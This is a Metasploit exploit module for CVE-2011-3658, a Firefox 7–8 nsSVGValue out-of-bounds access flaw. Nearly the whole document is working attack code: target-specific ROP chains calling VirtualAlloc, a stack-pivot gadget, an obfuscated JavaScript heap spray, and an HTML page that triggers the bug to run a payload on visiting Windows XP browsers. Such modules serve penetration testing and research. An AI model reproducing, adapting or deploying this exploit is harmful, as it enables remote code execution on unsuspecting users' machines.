Firefox nsSVGValue Out-of-Bounds Access Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox nsSVGValue Out-of-Bounds Access Vulnerability',
        'Description' => %q{
          This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
          The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
          uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
          The mObserver ElementAt() function (which picks up pointers), does not validate
          if a given index is out of bound. If a custom observer of nsSVGValue is created,
          which removes elements from the original observer,
          and memory layout is manipulated properly, the ElementAt() function might pick up
          an attacker provided pointer, which can be leveraged to gain remote arbitrary
          code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'regenrecht', # vulnerability discovery
          'Lincoln<lincoln[at]corelan.be>',      # Metasploit module
          'corelanc0d3r<peter.ve[at]corelan.be>' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-3658' ],
          [ 'OSVDB', '77953'],
          [ 'ZDI', '12-056' ],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x34",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" # ADD ESP, -5DC
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [
            'Windows XP - Firefox 7',
            {
              'Ret' => 0x0C0C0C0C,
              'OffSet' => 0x606,
              'Size' => 0x40000,
              'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
              'FF' => 7,
              'OS' => 'XP'
            }
          ],
          [
            'Windows XP - Firefox 8 (<= 8.0.1)',
            {
              'Ret' => 0x0C0C0C0C,
              'OffSet' => 0x606,
              'Size' => 0x40000,
              'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
              'FF' => 8,
              'OS' => 'XP'
            }
          ]
        ],
        'DisclosureDate' => '2011-12-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def junk(n = 4)
    return rand_text_alpha_upper(n).unpack("L")[0].to_i
  end

  def nop
    return make_nops(4).unpack("L")[0].to_i
  end

  def get_rop_chain(ffversion, osversion)
    # mona.py ROP chains

    rop_chain = []

    if ffversion == 7 and osversion == "XP"

      rop_chain =
        [
          0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
          0x7813aeed,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
          0x78194774,     # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
          0x78139801,     # RETN (ROP NOP) [MOZCRT19.dll] -> edi
          0x78195375,     # & push esp #  ret  [MOZCRT19.dll] -> ebp
          0x00000001,     # 0x00000001-> ebx
          0x7819966e,     # POP EDX # RETN [MOZCRT19.dll]
          0x00001000,     # 0x00001000-> edx
          0x7813557f,     # POP ECX # RETN [MOZCRT19.dll]
          0x00000040,     # 0x00000040-> ecx
          0x781a4da8,     # POP EAX # RETN [MOZCRT19.dll]
          nop,            # nop
          0x7813d647,     # PUSHAD # RETN [MOZCRT19.dll]
        ].flatten.pack("V*")

    elsif ffversion == 8 and osversion == "XP"

      rop_chain =
        [
          0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
          0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
          0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
          0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
          0x781503c3,     # & call esp [MOZCRT19.dll]
          0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
          0x00000001,     # 0x00000001-> ebx
          0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
          0x00001000,     # 0x00001000-> edx
          0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
          0x00000040,     # 0x00000040-> ecx
          0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
          0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
          0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
          nop,            # nop
          0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
        ].flatten.pack("V*")

    end

    return rop_chain
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # determine the target FF and OS version

    ffversion = ""
    osversion = ""

    agent = request.headers['User-Agent']

    if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
      vprint_error("This browser version is not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    my_target = target
    if my_target.name == 'Automatic'
      if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
        my_target = targets[2]
      elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
        send_not_found(cli)
        return
      end
      target = my_target
    end

    # Create the payload
    print_status("Creating payload for #{my_target.name}")
    table =
      [
        0x0c0c0c0c,  # index
        0x0c0c0c0c,  # index
        0x0c0c0c0c,  # index
        0x7c45abdf   # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
      ].pack("V*")

    rop = rand_text_alpha_upper(56)
    rop << [ my_target['PopEax'] ].pack("V")
    rop << rand_text_alpha_upper(40)
    rop << get_rop_chain(my_target['FF'], my_target['OS'])

    # Encode table, chain and payload
    rop_js = Rex::Text.to_unescape(table + rop, Rex::Arch.endian(my_target.arch))

    code = payload.encoded
    code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))

    # random JavaScript variable names
    i_name = rand_text_alpha(rand(10) + 5)
    rop_name = rand_text_alpha(rand(10) + 5)
    code_name = rand_text_alpha(rand(10) + 5)
    offset_length_name = rand_text_alpha(rand(10) + 5)
    randnum1_name = rand_text_alpha(rand(10) + 5)
    randnum2_name = rand_text_alpha(rand(10) + 5)
    randnum3_name = rand_text_alpha(rand(10) + 5)
    randnum4_name = rand_text_alpha(rand(10) + 5)
    paddingstr_name = rand_text_alpha(rand(10) + 5)
    padding_name = rand_text_alpha(rand(10) + 5)
    junk_offset_name = rand_text_alpha(rand(10) + 5)
    single_sprayblock_name = rand_text_alpha(rand(10) + 5)
    sprayblock_name = rand_text_alpha(rand(10) + 5)
    varname_name = rand_text_alpha(rand(10) + 5)
    thisvarname_name = rand_text_alpha(rand(10) + 5)
    container_name = rand_text_alpha(rand(10) + 5)
    tls_name = rand_text_alpha(rand(10) + 5)
    tl_name = rand_text_alpha(rand(10) + 5)
    rect_name = rand_text_alpha(rand(10) + 5)
    big_name = rand_text_alpha(rand(10) + 5)
    small_name = rand_text_alpha(rand(10) + 5)
    listener_name = rand_text_alpha(rand(10) + 5)
    run_name = rand_text_alpha(rand(10) + 5)
    svg_name = rand_text_alpha(rand(10) + 5)
    atl_name = rand_text_alpha(rand(10) + 5)
    addr_name = rand_text_alpha(rand(10) + 5)
    trans_name = rand_text_alpha(rand(10) + 5)
    matrix_name = rand_text_alpha(rand(10) + 5)

    # corelan precise heap spray for Firefox >= 7
    # + trigger routine
    spray = <<-JS

    var #{rop_name} = unescape("#{rop_js}");
    var #{code_name} = unescape("#{code_js}");
    var #{offset_length_name} = #{my_target['OffSet']};

    for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)
    {
      var #{randnum1_name}=Math.floor(Math.random()*90)+10;
      var #{randnum2_name}=Math.floor(Math.random()*90)+10;
      var #{randnum3_name}=Math.floor(Math.random()*90)+10;
      var #{randnum4_name}=Math.floor(Math.random()*90)+10;

      var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
      #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

      var #{padding_name} = unescape(#{paddingstr_name});

      while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

      #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

      var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
      #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

      while (#{single_sprayblock_name}.length < #{my_target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

      #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{my_target['Size']}-6)/2);

      #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
      #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
      #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
      eval(#{thisvarname_name});
    }

    var #{container_name} = [];

    var #{tls_name} = [];
    var #{rect_name} = null;
    var #{big_name} = null;
    var #{small_name} = null;

    function #{listener_name}() {
      #{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);
      for each (#{tl_name} in #{tls_name})
      #{tl_name}.clear();

      for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})
        #{container_name}.push(unescape(#{big_name}));
      for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})
        #{container_name}.push(unescape(#{small_name}));
    }

    function #{run_name}() {
      var #{svg_name} = document.getElementById("#{svg_name}");
      #{rect_name} = document.getElementById("#{rect_name}");

      for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {
        #{rect_name} = #{rect_name}.cloneNode(false);
        var #{atl_name} = #{rect_name}.transform;
        var #{tl_name} = #{atl_name}.baseVal;
        #{tls_name}.push(#{tl_name});
      }

      const #{addr_name} = unescape("%u0c0c");
      #{big_name} = #{addr_name};
      while (#{big_name}.length != 0x1000)
      #{big_name} += #{big_name};

      #{small_name} = #{addr_name};
      while (#{small_name}.length != 15)
      #{small_name} += #{addr_name};

      var #{trans_name} = #{svg_name}.createSVGTransform();
      for each (#{tl_name} in #{tls_name})
        #{tl_name}.appendItem(#{trans_name});

      #{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);
      var #{matrix_name} = #{svg_name}.createSVGMatrix();
      #{trans_name}.setMatrix(#{matrix_name});
    }
    JS

    # build html
    content = <<-HTML
    <html>
    <head>
    <meta http-equiv="refresh" content="3">
    <body>
    <script language='javascript'>
    #{spray}
    </script>
    </head>
    <body onload="#{run_name}();">
    <svg id="#{svg_name}">
    <rect id="#{rect_name}"	/>
    </svg>
    </body>
    </html>
    HTML

    print_status("Sending HTML")

    # Transmit the response to the client
    send_response(cli, content, { 'Content-Type' => 'text/html' })
  end
end